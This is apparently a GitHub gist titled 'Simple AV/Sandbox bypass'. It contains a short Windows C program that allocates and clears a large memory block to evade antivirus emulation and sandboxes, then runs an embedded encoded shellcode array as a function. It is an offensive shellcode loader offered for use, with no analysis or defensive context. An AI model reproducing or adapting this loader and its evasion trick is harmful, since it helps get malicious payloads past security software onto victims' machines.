Last active
May 7, 2024 11:41
-
-
Save NullArray/d48f4262c875cc2a6d2725b58dfd4963 to your computer and use it in GitHub Desktop.
Simple AV/Sandbox bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
*____ ____ __ | |
*\ \ / /____ _____/ |_ ___________ | |
* \ Y // __ \_/ ___\ __\/ _ \_ __ \ | |
* \ /\ ___/\ \___| | ( <_> ) | \/ | |
* \___/ \___ >\___ >__| \____/|__| | |
* \/ \/ | |
* ############################################## */ | |
#include <stdio.h> | |
#include <windows.h> | |
#define MAX_MEM 100000000 | |
unsigned char buf[]= | |
"\xd9\xeb\xd9\x74\x24\xf4\x58\xba\x97\x9a\x82\xb2\x33\xc9\xb1" | |
"\x3d\x31\x50\x17\x83\xc0\x04\x03\xc7\x89\x60\x47\x3e\x6c\xbd" | |
"\x58\xbb\x62\xf0\x52\xc1\xcb\x89\xfc\x23\x3c\xdb"; | |
int main( void ) | |
{ | |
char * memdmp = NULL; | |
memdmp = (char *) malloc(MAX_MEM); | |
if(memdmp!=NULL) | |
{ | |
memset(memdmp,00, MAX_MEM); | |
free(memdmp); | |
} | |
((void (*)())buf)(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment